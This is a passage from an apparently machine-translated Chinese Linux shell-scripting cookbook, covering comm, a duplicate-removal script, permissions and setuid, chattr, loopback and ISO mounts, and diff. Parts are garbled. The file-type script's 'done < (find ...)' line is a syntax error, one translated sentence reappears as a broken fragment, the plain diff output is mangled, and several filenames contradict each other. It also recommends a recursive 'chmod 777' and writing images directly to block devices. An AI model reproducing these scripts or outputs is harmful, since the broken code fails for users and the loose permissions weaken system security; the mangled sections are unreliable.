章](02.html)、*好好指挥*中讨论) - -```sh - $ comm A.txt B.txt -3 | tr -d '\t' - apple - carrot - cookies - iron - silver - steel - -``` - -5. 通过删除不必要的列,我们可以产生`A.txt`和`B.txt`的设置差,如下所示: - -* 设置`A.txt`的差值: - -```sh - $ comm A.txt B.txt -2 -3 - -``` - -`-2 -3`删除第二列和第三列 - -* 设置`B.txt`的差值: - -```sh - $ comm A.txt B.txt -1 -3 - -``` - -`-2 -3`删除第二列和第三列 - -# 它是如何工作的... - -这些命令行选项减少了输出: - -* `-1`:删除第一列 -* `-2`:删除第二列 -* `-3`:删除第三列 - -设置差异操作使您能够比较两个文件,并打印除了`A.txt`和`B.txt`中的公共行之外的`A.txt`或`B.txt`文件中的所有行。当`A.txt`和`B.txt`作为`comm`命令的参数给出时,输出将包含列-1,其具有`A.txt`相对于`B.txt`的设置差,列-2 将包含`B.txt`相对于`A.txt`的设置差。 - -`comm`命令将接受命令行上的一个`-`字符,从`stdin`读取一个文件。这提供了一种将多个文件与给定输入进行比较的方法。 - -假设我们有一个`C.txt`文件,像这样: - -```sh - $> cat C.txt - pear - orange - silver - mithral - -``` - -我们可以将`B.txt`、`C.txt`文件与`A.txt`进行比较,如下所示: - -```sh - $> sort B.txt C.txt | comm - A.txt - apple - carrot - cookies - gold - iron - mithral - orange - pear - silver - steel - -``` - -# 查找和删除重复文件 - -如果您需要恢复备份,或者在断开连接的模式下使用笔记本电脑,或者从手机上下载图像,您最终会看到重复的内容:内容相同的文件。您可能想要删除重复的文件并保留一个副本。我们可以通过用 shell 实用程序检查内容来识别重复的文件。该方法描述了查找重复文件并根据结果执行操作。 - -# 准备好了 - -我们通过比较文件内容来识别重复文件。校验和非常适合这项任务。具有相同内容的文件将产生相同的校验和值。 - -# 怎么做... - -按照以下步骤查找或删除重复文件: - -1. 生成一些测试文件: - -```sh - $ echo "hello" > test ; cp test test_copy1 ; cp test test_copy2; - $ echo "next" > other; - # test_copy1 and test_copy2 are copy of test - -``` - -2. 用于删除重复文件的脚本代码使用`awk`,这是一个解释器,在所有 Linux/Unix 系统上都可用: - -```sh - #!/bin/bash - #Filename: remove_duplicates.sh - #Description: Find and remove duplicate files and - # keep one sample of each file. - ls -lS --time-style=long-iso | awk 'BEGIN { - getline; getline; - name1=$8; size=$5 - } - { - name2=$8; - if (size==$5) - { - "md5sum "name1 | getline; csum1=$1; - "md5sum "name2 | getline; csum2=$1; - if ( csum1==csum2 ) - { - print name1; print name2 - } - }; - - size=$5; name1=name2; - }' | sort -u > duplicate_files - - cat duplicate_files | xargs -I {} md5sum {} | \ - sort | uniq -w 32 | awk '{ print $2 }' | \ - sort -u > unique_files - - echo Removing.. - comm duplicate_files unique_files -3 | tee /dev/stderr | \ - xargs rm - echo Removed duplicates files successfully. - -``` - -3. 按如下方式运行代码: - -```sh - $ ./remove_duplicates.sh - -``` - -# 它是如何工作的... - -前面的代码将在目录中找到同一个文件的副本,并删除除一个副本之外的所有副本。让我们浏览一下代码,看看它是如何工作的。 - -`ls -lS`按文件大小排序,列出当前文件夹中文件的详细信息。`--time-style=long-iso`选项告诉`ls`以国际标准化组织格式打印日期。`awk`读取`ls -lS`的输出,并对输入文本的列和行进行比较,以找到重复的文件。 - -代码背后的逻辑如下: - -* 我们按大小排序列出文件,因此大小相同的文件将相邻。找到相同文件的第一步是找到大小相同的文件。接下来,我们计算文件的校验和。如果校验和匹配,则文件是重复的,并且删除一组重复的文件。 -* 在主处理之前执行`awk`的`BEGIN{}`块。它读取“总计”行并初始化变量。大部分处理发生在`{}`块,此时`awk`读取并处理剩余的`ls`输出。`END{}`块语句在读取所有输入后执行。`ls -lS`的输出如下: - -```sh - total 16 - -rw-r--r-- 1 slynux slynux 5 2010-06-29 11:50 other - -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test - -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test_copy1 - -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test_copy2 - -``` - -* 第一行的输出告诉我们文件的总数,在这种情况下是没有用的。我们使用`getline`读取第一行,然后将其转储。我们需要比较每一行和下面一行的大小。在`BEGIN`块中,我们读取第一行并存储名称和大小(这是第八列和第五列)。当`awk`进入`{}`块时,剩余的行被逐个读取。该块将从当前行获得的大小与先前存储在`size`变量中的大小进行比较。如果相等,则表示两个文件大小重复,必须通过`md5sum`进一步检查。 - -我们在解决问题的方法上玩了一些花招。 - -外部命令输出可在`awk`内部读取,如下所示: - -```sh - "cmd"| getline - -``` - -一旦行被读取,整行在`$0`中,每一列在`$1`、`$2`中可用,...,`$n`。这里,我们将文件的 md5sum 校验和读入`csum1`和`csum2`变量。`name1`和`name2`变量存储连续的文件名。如果两个文件的校验和相同,则确认它们是重复的并打印出来。 - -我们需要从每组重复项中找到一个文件,这样我们就可以删除所有其他重复项。我们计算副本的`md5sum`值,并通过找到唯一的行从每组副本中打印一个文件,使用`-w 32`比较每行的`md5sum`(输出的`md5sum`中的前 32 个字符;通常,`md5sum`输出包含一个 32 个字符的散列,后跟文件名。每组副本中的一个样本被写入`unique_files`。 - -现在,我们需要删除`duplicate_files`中列出的文件,不包括`unique_files`中列出的文件。`comm`命令在`duplicate_files`中打印文件,但不在`unique_files`中。 - -为此,我们使用集合差运算(参考关于交集、差和集合差的食谱)。 - -`comm`只处理排序后的输入。因此`sort -u`用于过滤`duplicate_files`和`unique_files`。 - -`tee`命令用于将文件名传递给`rm`命令以及`print`。`tee`命令将其输入发送到两个`stdout and a file`。我们也可以通过重定向到`stderr`将文本打印到终端。`/dev/stderr`是`stderr`对应的器件(标准误差)。通过重定向到`stderr`设备文件,发送到`stdin`的文本将作为标准错误打印在终端中。 - -# 使用文件权限、所有权和粘性位 - -文件权限和所有权是 Unix/Linux 文件系统的显著特征之一。这些功能在多用户环境中保护您的信息。不匹配的权限和所有权也会使共享文件变得困难。这些方法解释了如何有效地使用文件的权限和所有权。 - -每个文件拥有多种类型的权限。通常操纵三组权限(用户、组和其他)。 - -**用户**是文件的所有者,通常拥有所有允许的访问权限。**组**是被允许访问文件的用户(由系统管理员定义)的集合。**其他**是除所有者或所有者群成员以外的任何用户。 - -`ls`命令的`-l`选项显示文件的许多方面,包括类型、权限、所有者和组: - -```sh - -rw-r--r-- 1 slynux users 2497 2010-02-28 11:22 bot.py - drwxr-xr-x 2 slynux users 4096 2010-05-27 14:31 a.py - -rw-r--r-- 1 slynux users 539 2010-02-10 09:11 cl.pl - -``` - -输出的第一列定义文件类型如下: - -* `-`:如果是普通文件就用这个 -* `d`:如果是目录就用这个 -* `c`:用于字符设备 -* `b`:用于闭塞设备 -* `l`:如果是符号链接就用这个 -* `s`:这是用于插座的 -* `p`:这是用来装管子的 - -接下来的九个字符被分成三组,每组三个字母。前三个字符对应用户(所有者)的权限,第二组三个字符对应组的权限,第三组三个字符对应其他人的权限。九个字符序列(九个权限)中的每个字符指定权限是已设置还是未设置。如果设置了权限,则相应位置会出现一个字符,否则该位置会出现一个`-`字符,表示相应权限未设置(不可用)。 - -三个字母中常见的三个字母是: - -* `r Read`:设置后,可以读取文件、设备或目录。 -* `w Write`:设置后,可以修改文件、设备或目录。在文件夹中,这定义了是否可以创建或删除文件。 -* `x execute`:设置好之后,文件就可以执行了。在文件夹上,这定义了是否可以访问文件夹中的文件。 - -让我们看看这三个字符集对用户、组和其他人意味着什么: - -* **用户**(权限字符串:`rwx------`):这些定义了用户拥有的选项。通常,用户的权限是数据文件的`rw-`和脚本或可执行文件的`rwx`。用户还有一个名为`setuid` ( `S`)的特殊权限,出现在执行(`x`)的位置。`setuid`权限使可执行文件能够作为其所有者有效执行,即使该可执行文件是由另一个用户运行的。设置了`setuid`权限的文件的一个例子是`-rwS------`。 -* **组**(权限字符串:`---rwx---`):第二组三个字符指定组权限。代替`setuid`,该组有一个`setgid` ( `S`)位。这使项目能够以有效组作为所有者组运行可执行文件。但是发起命令的组可能不同。群体许可的一个例子是`----rwS---`。 -* **其他**(权限字符串:`------rwx`):其他权限显示为权限字符串的最后三个字符。如果设置了这些,任何人都可以访问该文件或文件夹。通常,您需要将这些位设置为`---`。 - -目录有一个特殊的权限叫做**粘性位**。为目录设置粘性位时,只有创建目录的用户才能删除目录中的文件,即使该组和其他人具有写权限。粘性位出现在其他权限集中执行字符(`x`)的位置。它被表示为字符`t`或`T`。如果未设置执行权限并且设置了粘性位,则`t`字符出现在`x`位置。如果设置了粘性位和执行权限,`T`字符出现在`x`位置。考虑这个例子: - -```sh - ------rwt , ------rwT - -``` - -粘性位打开的目录的典型例子是`/tmp`,任何人都可以创建一个文件,但只有所有者可以删除一个文件。 - -在每个`ls -l`输出行中,字符串`slynux users`对应于用户和组。这里,`slynux`是用户群成员的所有者。 - -# 怎么做... - -为了设置文件的权限,我们使用`chmod`命令。 - -假设我们需要设置权限,`rwx rw- r-`。 - -使用 chmod 设置这些权限: - -```sh - $ chmod u=rwx g=rw o=r filename - -``` - -这里使用的选项如下: - -* `u`:指定用户权限 -* `g`:指定组权限 -* `o`:指定其他人权限 - -使用`+`为用户、组或其他人添加权限,使用`-`删除权限。 - -将可执行权限添加到具有权限的文件中,`rwx rw- r-`: - -```sh - $ chmod o+x filename - -``` - -该命令为其他人添加`x`权限。 - -将可执行权限添加到所有权限类别,即用户、组和其他: - -```sh - $ chmod a+x filename - -``` - -这里`a`表示全部。 - -要删除权限,请使用`-`。例如, **$ chmod a-x 文件名**。 - -权限可以用三位数的八进制数字表示,其中每个数字依次对应于用户、组和其他。 - -读取、写入和执行权限具有唯一的八进制数,如下所示: - -* `r` = 4 -* `w` = 2 -* `x` = 1 - -我们通过将八进制值相加来计算所需的权限组合。考虑这个例子: - -* `rw-` = 4 + 2 = 6 -* `r-x` = 4 + 1 = 5 - -数值法中的权限`rwx rw- r--`如下: - -* `rwx` = 4 + 2 + 1 = 7 -* `rw-` = 4 + 2 = 6 -* `r--` = 4 - -因此`rwx rw- r--`等于`764`,使用八进制值设置权限的命令是`$ chmod 764 filename`。 - -# 还有更多... - -让我们检查一下我们可以对文件和目录执行的更多任务。 - -# 改变所有权 - -`chown`命令将改变文件和文件夹的所有权: - -```sh - $ chown user.group filename - -``` - -考虑这个例子: - -```sh - $ chown slynux.users test.sh - -``` - -这里`slynux`是用户,`users`是组。 - -# 设置粘性位 - -粘性位可以应用于目录。当粘性位被设置时,只有所有者可以删除文件,即使其他人对文件夹有写权限。 - -粘性位通过`+t`选项设置为`chmod`: - -```sh - $ chmod a+t directory_name - -``` - -# 将权限递归应用于文件 - -有时,您可能需要递归地更改当前目录中所有文件和目录的权限。`chmod`的`-R`选项支持递归更改: - -```sh - $ chmod 777 . -R - -``` - -`-R`选项指定递归更改权限。 - -我们用`.`指定路径为当前工作目录。这相当于`$ chmod 777 "$(pwd)" -R`。 - -# 递归应用所有权 - -`chown`命令还支持`-R`标志递归改变所有权: - -```sh - $ chown user.group . -R - -``` - -# 以不同用户身份运行可执行文件(setuid) - -有些可执行文件需要以当前用户以外的用户身份执行。例如,http 服务器可以在引导序列期间由 root 启动,但是任务应该属于`httpd`用户。`setuid`权限使文件能够在任何其他用户运行程序时作为文件所有者执行。 - -首先,将所有权更改为需要执行它的用户,然后以用户身份登录。然后,运行以下命令: - -```sh - $ chmod +s executable_file - # chown root.root executable_file - # chmod +s executable_file - $ ./executable_file - -``` - -现在,无论谁调用它,它都作为根用户执行。 - -`setuid`只对 Linux ELF 二进制文件有效。您不能将 shell 脚本设置为以其他用户身份运行。这是一项安全功能。 - -# 使文件不可变 - -“读取”、“写入”、“执行”和“设置 uid”字段是所有 Linux 文件系统共有的。**扩展文件系统** (ext2、ext3 和 ext4)支持更多属性。 - -扩展属性之一使文件不可变。当文件变得不可变时,任何用户或超级用户都不能移除该文件,直到不可变属性从文件中移除。您可以使用`df -T`命令或查看`/etc/mtab`文件来确定文件系统的类型。文件的第一列指定分区设备路径(例如,`/dev/sda5`),第三列指定文件系统类型(例如,ext3)。 - -使文件不可变是保护文件不被修改的一种方法。一个例子是使`/etc/resolv.conf`文件不可变。`resolv.conf`文件存储了一个将域名(如 packtpub.com)转换为 IP 地址的 DNS 服务器列表。DNS 服务器通常是您的 ISP 的 DNS 服务器。但是,如果您更喜欢第三方服务器,您可以修改`/etc/resolv.conf`以指向该域名系统。下次连接到 ISP 时,`/etc/resolv.conf`将被覆盖,指向 ISP 的 DNS 服务器。为了防止这一点,让`/etc/resolv.conf`变得不可改变。 - -在这个食谱中,我们将看到如何使文件不可变,并在需要时使它们可变。 - -# 准备好 - -`chattr`命令用于更改扩展属性。它可以使文件不可变,也可以修改属性来调整文件系统的同步或压缩。 - -# 怎么做... - -要使文件不可变,请执行以下步骤: - -1. 使用`chattr`使文件不可变: - -```sh - # chattr +i file - -``` - -2. 该文件现在是不可变的。尝试以下命令: - -```sh - rm file - rm: cannot remove `file': Operation not permitted - -``` - -3. 为了使它可写,删除不可变属性,如下所示: - -```sh - chattr -i file - -``` - -# 批量生成空白文件 - -脚本在用于实时系统之前必须经过测试。我们可能需要生成数千个文件来确认没有内存泄漏或进程挂起。这个食谱展示了如何生成空白文件。 - -# 准备好 - -`touch`命令创建空白文件或修改现有文件的时间戳。 - -# 怎么做... - -要批量生成空白文件,请执行以下步骤: - -1. 使用不存在的文件名调用 touch 命令会创建一个空文件: - -```sh - $ touch filename - -``` - -2. 使用不同的名称模式生成批量文件: - -```sh - for name in {1..100}.txt - do - touch $name - done - -``` - -在前面的代码中,`{1..100}`将扩展为字符串`1, 2, 3, 4, 5, 6, 7...100`。代替`{1..100}.txt`,我们可以使用各种速记模式,如`test{1..200}.c`、`test{a..z}.txt`等。 - -如果文件已经存在,`touch`命令会将与文件相关的所有时间戳更改为当前时间。这些选项定义了要修改的时间戳子集: - -* `touch -a`:这修改了访问时间 -* `touch -m`:修改修改时间 - -我们可以指定时间和日期,而不是当前时间: - -```sh - $ touch -d "Fri Jun 25 20:50:14 IST 1999" filename - -``` - -与`-d`一起使用的日期字符串不需要采用这种精确的格式。它将接受许多简单的日期格式。我们可以省略字符串中的时间,只提供日期,如*1 月 20 日*、 *2010* 。 - -# 寻找符号链接及其目标 - -符号链接在类似 Unix 的系统中很常见。使用它们的原因从方便访问,到维护同一个库或程序的多个版本。这个食谱将讨论处理符号链接的基本技术。 - -符号链接是指向其他文件或文件夹的指针。它们在功能上类似于 MacOS X 中的别名或 Windows 中的快捷方式。移除符号链接后,不会影响原始文件。 - -# 怎么做... - -以下步骤将帮助您处理符号链接: - -1. 要创建符号链接,请运行以下命令: - -```sh - $ ln -s target symbolic_link_name - -``` - -考虑这个例子: - -```sh - $ ln -l -s /var/www/ ~/web - -``` - -这会在当前用户的主目录中创建一个指向`/var/www/`的符号链接(称为**网页**)。 - -2. 要验证链接是否已创建,请运行以下命令: - -```sh - $ ls -l ~/web - lrwxrwxrwx 1 slynux slynux 8 2010-06-25 21:34 web -> /var/www - -``` - -`web -> /var/www`指定`web`指向`/var/www`。 - -3. 要打印当前目录中的符号链接,请使用以下命令: - -```sh - $ ls -l | grep "^l" - -``` - -4. 要打印当前目录和子目录中的所有符号链接,请运行以下命令: - -```sh - $ find . -type l -print - -``` - -5. 要显示给定符号链接的目标路径,请使用`readlink`命令: - -```sh - $ readlink web - /var/www - -``` - -# 它是如何工作的... - -当使用`ls`和`grep`显示当前文件夹中的符号链接时,`grep ^l`命令过滤`ls -l`输出,只显示以`l`开头的行。`^`指定字符串的开始。下面的`l`指定字符串必须以 l 开头,l 是链接的标识符。 - -使用`find`时,我们使用参数- `type` `l`,它指示 find 搜索符号链接文件。`-print`选项打印标准输出(`stdout`)的符号链接列表。初始路径作为当前目录给出。 - -# 枚举文件类型统计信息 - -Linux 支持许多文件类型。该方法描述了一个脚本,该脚本枚举目录及其后代中的所有文件,并打印一份报告,其中包含文件类型(具有不同文件类型的文件)以及每种文件类型的计数的详细信息。这个食谱是一个写脚本的练习,用来列举许多文件和收集细节。 - -# 准备好 - -在 Unix/Linux 系统上,文件类型不是由文件扩展名定义的(微软视窗就是这样)。Unix/Linux 系统使用 file 命令,该命令检查文件的内容以确定文件的类型。该方法收集大量文件的文件类型统计数据。它将相同类型的文件数存储在关联数组中。 - -The associative arrays are supported in bash version 4 and newer. - -# 怎么做... - -要枚举文件类型统计信息,请执行以下步骤: - -1. 要打印文件类型,请使用以下命令: - -```sh - $ file filename - - $ file /etc/passwd - /etc/passwd: ASCII text - -``` - -2. 打印不带文件名的文件类型: - -```sh - $ file -b filename - ASCII text - -``` - -3. 文件统计的脚本如下: - -```sh - #!/bin/bash - # Filename: filestat.sh - - if [ $# -ne 1 ]; - then - echo "Usage is $0 basepath"; - exit - fi - path=$1 - - declare -A statarray; - - while read line; - do - ftype=`file -b "$line" | cut -d, -f1` - let statarray["$ftype"]++; - - done < (find $path -type f -print) - - echo ============ File types and counts ============= - for ftype in "${!statarray[@]}"; - do - echo $ftype : ${statarray["$ftype"]} - done - -``` - -用法如下: - -```sh - $ ./filestat.sh /home/slynux/temp - -``` - -5. 示例输出如下所示: - -```sh - $ ./filetype.sh /home/slynux/programs - ============ File types and counts ============= - Vim swap file : 1 - ELF 32-bit LSB executable : 6 - ASCII text : 2 - ASCII C program text : 10 - -``` - -# 它是如何工作的... - -该脚本依赖于关联数组`statarray`。该数组按文件类型进行索引: **PDF** 、 **ASCII** 等等。每个索引保存该类型文件的计数。它由`declare -A statarray`命令定义。 - -该脚本由两个循环组成:while 循环,处理 find 命令的输出;以及`for`循环,遍历`statarray`变量的索引并生成输出。 - -while 循环语法如下所示: - -```sh -while read line; -do something -done < filename - -``` - -对于这个脚本,我们使用 find 命令的输出而不是文件作为`while`的输入。 - -`(find $path -type f -print)`命令相当于一个文件名,但是它用一个子过程输出代替文件名。 - -Note that the first `<` is for input redirection and the second `<` is for converting the subprocess output to a filename. Also, there is a space between these two so the shell won't interpret it as the `<<` operator. - -`find`命令使用`-type` `f`选项返回在$path 中定义的子目录下的文件列表。通过`read`命令一次读取一行文件名。当读取命令接收到一个 **EOF** ( **文件结束**)时,它返回一个*失败*,并且`while`命令退出。 - -在`while`循环中,文件命令用于确定文件的类型。`-b`选项用于显示没有名称的文件类型。 - -file 命令提供了比我们需要的更多的细节,例如图像编码和分辨率(在图像文件的情况下)。详细信息以逗号分隔,如下例所示: - -```sh - $ file a.out -b - ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), - dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not - stripped - -``` - -我们只需要从前面的细节中提取`ELF 32-bit LSB executable`。因此,我们使用`-d,`选项指定`,`作为分隔符,`-f1`选择第一个字段。 - - 相当于一个文件名,但是它用一个子过程输出 `<`用于输入重定向,第二个`<`用于将子流程输出转换为文件名。此外,这两者之间有一个空间,这样 Shell 就不会将其解释为`<<`运算符。 - -在 Bash 3.x 和更高版本中,我们有了一个新的运算符`<<<`,它允许我们使用字符串输出作为输入文件。使用这个运算符,我们可以编写循环的 done 行,如下所示: - -```sh - done <<< "`find $path -type f -print`" - -``` - -`${!statarray[@]}`返回数组索引列表。 - -# 使用回送文件 - -Linux 文件系统通常存在于磁盘或记忆棒等设备上。文件也可以作为文件系统挂载。这种文件系统可用于测试、定制文件系统,甚至作为机密信息的加密磁盘。 - -# 怎么做... - -要在文件中创建 1 GB ext4 文件系统,请执行以下步骤: - -1. 使用`dd`创建 1 GB 文件: - -```sh - $ dd if=/dev/zero of=loobackfile.img bs=1G count=1 - 1024+0 records in - 1024+0 records out - 1073741824 bytes (1.1 GB) copied, 37.3155 s, 28.8 MB/s - -``` - -创建的文件大小超过 1 GB,因为硬盘是块设备,因此存储必须按块大小的整数倍分配。 - -2. 使用`mkfs`命令将 1 GB 文件格式化为 ext4: - -```sh - $ mkfs.ext4 loopbackfile.img - -``` - -3. 使用 file 命令检查文件类型: - -```sh - $ file loobackfile.img - loobackfile.img: Linux rev 1.0 ext4 filesystem data, - UUID=c9d56c42- - f8e6-4cbd-aeab-369d5056660a (extents) (large files) (huge files) - -``` - -4. 创建一个挂载点,用`mkdir`挂载环回文件,挂载: - -```sh - # mkdir /mnt/loopback - # mount -o loop loopbackfile.img /mnt/loopback - -``` - -`-o loop`选项用于安装环回文件系统。 - -这是一种简单的方法,将回送文件系统附加到操作系统选择的设备上,命名为类似于`/dev/loop1`或`/dev/loop2`的东西。 - -5. 要指定特定的环回设备,请运行以下命令: - -```sh - # losetup /dev/loop1 loopbackfile.img - # mount /dev/loop1 /mnt/loopback - -``` - -6. 要卸载(`unmount`),请使用以下语法: - -```sh - # umount mount_point - -``` - -考虑这个例子: - -```sh - # umount /mnt/loopback - -``` - -7. 我们也可以使用设备文件路径作为`umount`命令的参数: - -```sh - # umount /dev/loop1 - -``` - -Note that the mount and umount commands should be executed as a root user, since it is a privileged command. - -# 它是如何工作的... - -首先,我们必须创建一个文件来创建一个环回文件系统。为此,我们使用了`dd`,这是一个复制原始数据的通用命令。它将数据从`if`参数中指定的文件复制到`of`参数中指定的文件。我们指示`dd`以 1 GB 大小的块复制数据,并复制一个这样的块,创建 1 GB 文件。`/dev/zero`文件是一个特殊的文件,当你从中读取时,它总是返回 0。 - -我们使用`mkfts.ext4`命令在文件中创建一个 ext4 文件系统。任何可以挂载的设备都需要文件系统。常见的文件系统包括 ext4、ext3 和 vfat。 - -`mount`命令将回送文件附加到一个**挂载点**(本例中为`/mnt/loopback`)。挂载点使得用户可以访问存储在文件系统上的文件。在执行`mount`命令之前,必须使用`mkdir`命令创建挂载点。我们通过`-o loop`选项来装载,告诉它我们正在装载一个环回文件,而不是一个设备。 - -当`mount`知道自己正在对一个回送文件进行操作时,在`/dev`中设置一个与回送文件对应的设备,然后进行挂载。如果我们希望手动操作,我们使用`losetup`命令创建设备,然后使用`mount`命令安装设备。 - -# 还有更多... - -让我们探索回送文件和挂载的更多可能性。 - -# 在环回映像中创建分区 - -假设我们想要创建一个环回文件,对它进行分区,最后挂载一个子分区。在这种情况下,我们不能使用`mount -o loop`。我们必须手动设置设备并在其中安装分区。 - -要对零文件进行分区: - -```sh - # losetup /dev/loop1 loopback.img - # fdisk /dev/loop1 - -``` - -`fdisk` is a standard partitioning tool on Linux systems. A very concise tutorial on creating partitions using `fdisk` is available at [http://www.tldp.org/HOWTO/Partition/fdisk_partitioning.html](http://www.tldp.org/HOWTO/Partition/fdisk_partitioning.html) (make sure to use `/dev/loop1` instead of `/dev/hdb` in this tutorial). - -在`loopback.img`中创建分区并挂载第一个分区: - -```sh - # losetup -o 32256 /dev/loop2 loopback.img - -``` - -这里,`/dev/loop2`代表第一个分区,`-o`是偏移标志,`32256`字节用于 DOS 分区方案。第一个分区从硬盘开始的 32256 字节开始。 - -我们可以通过指定所需的偏移量来设置第二个分区。装载后,我们可以像在物理设备上一样执行所有常规操作。 - -# 更快地装载带有分区的环回磁盘映像 - -我们可以手动将分区偏移量传递给`losetup`以在回送磁盘映像中安装分区。但是,有一种更快的方法可以使用`kpartx`将所有分区安装在这样的映像中。通常不会安装此实用程序,因此您必须使用软件包管理器安装它: - -```sh - # kpartx -v -a diskimage.img - add map loop0p1 (252:0): 0 114688 linear /dev/loop0 8192 - add map loop0p2 (252:1): 0 15628288 linear /dev/loop0 122880 - -``` - -这将创建从磁盘映像中的分区到`/dev/mapper`中的设备的映射,然后您可以挂载这些设备。例如,要装载第一个分区,请使用以下命令: - -```sh - # mount /dev/mapper/loop0p1 /mnt/disk1 - -``` - -当您使用完设备(并使用`umount`卸载任何已安装的分区)后,通过运行以下命令删除映射: - -```sh - # kpartx -d diskimage.img - loop deleted : /dev/loop0 - -``` - -# 将国际标准化组织文件作为回环安装 - -国际标准化组织文件是光学媒体的档案。我们可以像使用环回挂载一样挂载物理磁盘来挂载 ISO 文件。 - -我们甚至可以使用非空目录作为装载路径。然后,装载路径将包含来自设备的数据,而不是原始内容,直到卸载设备。考虑这个例子: - -```sh - # mkdir /mnt/iso - # mount -o loop linux.iso /mnt/iso - -``` - -现在,使用`/mnt/iso`中的文件执行操作。ISO 是一个只读文件系统。 - -# 同步后立即刷新更改 - -装载设备上的更改不会立即写入物理设备。它们仅在内部内存缓冲区已满时写入。我们可以使用`sync`命令强制书写: - -```sh - $ sync - -``` - -# 创建国际标准化组织文件和混合国际标准化组织 - -ISO 映像是一种存档格式,用于存储光盘(如光盘、DVD 光盘等)的精确映像。ISO 文件通常用于存储要刻录到光学介质上的内容。 - -本节将描述如何将光盘中的数据提取到可以作为环回设备安装的 ISO 文件中,然后解释如何生成自己的 ISO 文件系统,并将其刻录到光学介质中。 - -我们需要区分可引导光盘和不可引导光盘。可引导磁盘能够从自身引导并运行操作系统或其他产品。可引导 DVD 包括安装套件和 *Live* 系统,如 Knoppix 和 Puppy。 - -不可引导的 ISOs 不能做到这一点。升级套件、源代码光盘等是不可引导的。 - -Note that copying files from a bootable CD-ROM to another CD-ROM is not sufficient to make the new one bootable. To preserve the bootable nature of a CD-ROM, it must be copied as a disk image using an ISO file. - -许多人用闪存驱动器代替光盘。当我们将可引导的 ISO 写入闪存驱动器时,除非我们使用专门为此目的设计的特殊混合 ISO 映像,否则它将无法引导。 - -这些食谱将让你深入了解 ISO 图像和操作。 - -# 准备好 - -如前所述,Unix 以文件的形式处理一切。每个设备都是一个文件。因此,如果我们想要复制设备的精确映像,我们需要从其中读取所有数据并写入文件。光学媒体阅读器将位于`/dev`文件夹中,其名称如`/dev/cdrom`、`/dev/dvd`或或许`/dev/sd0`。当访问一个`sd*.`时要小心,多个盘式设备被命名为`sd#`。例如,你的硬盘可能是`sd0`和光盘`sd1`。 - -`cat`命令将读取任何数据,重定向将把该数据写入文件。这是可行的,但我们也会看到更好的方法。 - -# 怎么做... - -要从`/dev/cdrom`创建一个 ISO 图像,使用以下命令: - -```sh - # cat /dev/cdrom > image.iso - -``` - -尽管这种方法可行,但创建 ISO 图像的首选方法是使用`dd`: - -```sh - # dd if=/dev/cdrom of=image.iso - -``` - -`mkisofs`命令在文件中创建一个国际标准化组织图像。通过`cdrecord`等工具,可以将`mkisofs`创建的输出文件写入光盘或 DVD-ROM。`mkisofs`命令将从包含所有要复制到 ISO 文件的文件的目录中创建一个 ISO 文件: - -```sh - $ mkisofs -V "Label" -o image.iso source_dir/ - -``` - -`mkisofs`命令中的`-o`选项指定了国际标准化组织文件路径。`source_dir`是用作国际标准化组织文件内容的目录路径,`-V`选项指定了国际标准化组织文件使用的标签。 - -# 还有更多... - -让我们学习更多与 ISO 文件相关的命令和技术。 - -# 从闪存驱动器或硬盘启动的混合 ISO - -可引导的 ISO 文件通常不能传输到 USB 存储设备来创建可引导的 u 盘。然而,称为混合 ISO 的特殊类型的 ISO 文件可以被刷新以创建可引导设备。 - -我们可以用`isohybrid`命令将标准 ISO 文件转换成混合 ISO。`isohybrid`命令是一个新的实用程序,默认情况下,大多数 Linux 发行版都不包含它。您可以从[http://www.syslinux.org](http://www.syslinux.org)下载 [syslinux 软件包](http://syslinux.zytor.com/)。该命令也可以作为`syslinux-utils`出现在您的百胜或`apt-get`存储库中。 - -此命令将使国际标准化组织文件可引导: - -```sh - # isohybrid image.iso - -``` - -现在可以将 ISO 文件写入 USB 存储设备。 - -要将国际标准化组织写入通用串行总线存储设备,请使用以下命令: - -```sh - # dd if=image.iso of=/dev/sdb1 - -``` - -使用合适的设备代替`/dev/sdb1`,或者可以使用`cat`,如下: - -```sh - # cat image.iso >> /dev/sdb1 - -``` - -# 从命令行刻录国际标准化组织 - -`cdrecord`命令将一个国际标准化组织文件刻录到光盘或 DVD-ROM 中。 - -要将图像刻录到光盘,请运行以下命令: - -```sh - # cdrecord -v dev=/dev/cdrom image.iso - -``` - -有用的选项包括: - -* 使用`-speed`选项指定燃烧速度: - -```sh - -speed SPEED - -``` - -考虑这个例子: - -```sh - # cdrecord -v dev=/dev/cdrom image.iso -speed 8 - -``` - -这里,`8`是指定为 8x 的速度。 - -* 光盘可以多次刻录,这样我们就可以在一张磁盘上多次刻录数据。多段刻录可以通过`-multi`选项完成: - -```sh - # cdrecord -v dev=/dev/cdrom image.iso -multi - -``` - -# 玩光盘托盘 - -如果您在台式计算机上,请尝试以下命令并享受其中的乐趣: - -```sh - $ eject - -``` - -该命令将弹出托盘。 - -```sh - $ eject -t - -``` - -该命令将关闭托盘。 - -对于额外的点,写一个循环,打开和关闭托盘多次。不言而喻,一个人绝不会在同事出去喝咖啡的时候把这个偷偷塞给他们。 - -# 找出文件之间的区别,并进行修补 - -当一个文件有多个版本时,突出显示文件之间的差异比手动比较它们更有用。这个方法说明了如何在文件之间产生差异。当与多个开发人员一起工作时,需要将更改分发给其他人。将整个源代码发送给其他开发人员非常耗时。相反,发送一个差异文件是有帮助的,因为它只包含被更改、添加或删除的行,并且附带行号。这个差异文件被称为**补丁文件**。我们可以使用`patch`命令将补丁文件中指定的更改添加到原始源代码中。我们可以通过再次修补来恢复更改。 - -# 怎么做... - -`diff`实用程序报告两个文件之间的差异。 - -1. 要演示差异行为,请创建以下文件: - -文件 1: `version1.txt` - -```sh - this is the original text - line2 - line3 - line4 - happy hacking ! - -``` - -文件 2: `version2.txt` - -```sh - this is the original text - line2 - line4 - happy hacking ! - GNU is not UNIX - -``` - -2. 非统一`diff`输出(无`-u`标志)为: - -```sh - $ diff version1.txt version2.txt - 3d2 - GNU is not UNIX - -``` - -3. 统一`diff`输出为: - -```sh - $ diff -u version1.txt version2.txt - --- version1.txt 2010-06-27 10:26:54.384884455 +0530 - +++ version2.txt 2010-06-27 10:27:28.782140889 +0530 - @@ -1,5 +1,5 @@ - this is the original text - line2 - -line3 - line4 - happy hacking ! - - - +GNU is not UNIX - -``` - -`-u`选项产生统一的输出。统一的 diff 输出可读性更强,也更容易解释。 - 